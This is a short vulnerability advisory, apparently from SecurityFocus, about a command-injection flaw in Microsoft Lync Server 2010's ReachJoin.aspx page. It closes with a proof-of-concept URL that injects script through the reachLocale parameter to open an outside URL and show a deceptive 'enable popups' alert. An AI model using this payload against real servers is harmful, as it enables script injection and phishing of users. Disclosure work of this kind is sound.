source: https://www.securityfocus.com/bid/48235/info

Microsoft Lync Server 2010 is prone to a remote command-injection vulnerability because it fails to properly sanitize user-supplied input.

Attackers can exploit this issue to execute arbitrary commands in the context of the application.

Microsoft Lync Server 2010 version 4.0.7577.0 is vulnerable; other versions may also be affected. 

https://www.example.com/Reach/Client/WebPages/ReachJoin.aspx?xml=&&reachLocale=en-us%22;var%20xxx=%22http://www.foofus.net/~bede/foofuslogo.jpg%22;open%28xxx%29;alert%28%22error,%20please%20enable%20popups%20from%20this%20server%20and%20reload%20from%20the%20link%20you%20were%20given%22%29//